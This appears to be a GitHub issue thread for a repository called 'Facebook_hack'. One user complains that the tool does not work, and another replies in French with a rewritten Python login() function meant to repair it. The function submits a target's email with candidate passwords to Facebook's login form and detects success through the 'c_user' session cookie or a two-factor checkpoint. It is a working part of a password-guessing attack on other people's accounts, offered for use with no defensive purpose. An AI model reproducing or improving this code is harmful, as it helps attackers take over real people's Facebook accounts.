Facebook_hack icon indicating copy to clipboard operation
Facebook_hack copied to clipboard

Fake code not working with correct matching pass. List

Open mahijii opened this issue 2 years ago • 1 comments

Fake it's not working. Totaly time waste.

mahijii avatar Aug 24 '23 04:08 mahijii

Ce outil ne marche que si vous modifiez le fichier facebook_hack.py u niveau du fonction login(); Cette fonction tente de verifiez si le assword est correcte en cherchant le home_icon se qui n'est pas fiable car facebook peut affiché d'autre pages. Voici comment je l'ai modifié pour qu'il ecoute si des cookies sont retournée :

def login(self, target, password): try: self.br.open("https://facebook.com") self.br.select_form(nr=0) self.br.form['email'] = target self.br.form['pass'] = password self.br.method = "POST" time.sleep(5) response = self.br.submit() if b'home_icon' in response.get_data(): print(f"1- Le mot de passe {password} est correct.") cookies = self.br._ua_handlers['_cookies'].cookiejar if any(cookie.name == 'c_user' for cookie in cookies): print(f"Le mot de passe {password} est correct.") elif "checkpoint" in self.br.geturl(): print("Oops! Ce compte utilise l'authentification à 2-Facteur") else: print(f"Le mot de passe {password} est incorrect.") except (KeyboardInterrupt, EOFError) as e: print(f"Erreur : {e}") except Exception as e: print(f"Erreur : {e}")

alexsky14520 avatar Aug 25 '24 19:08 alexsky14520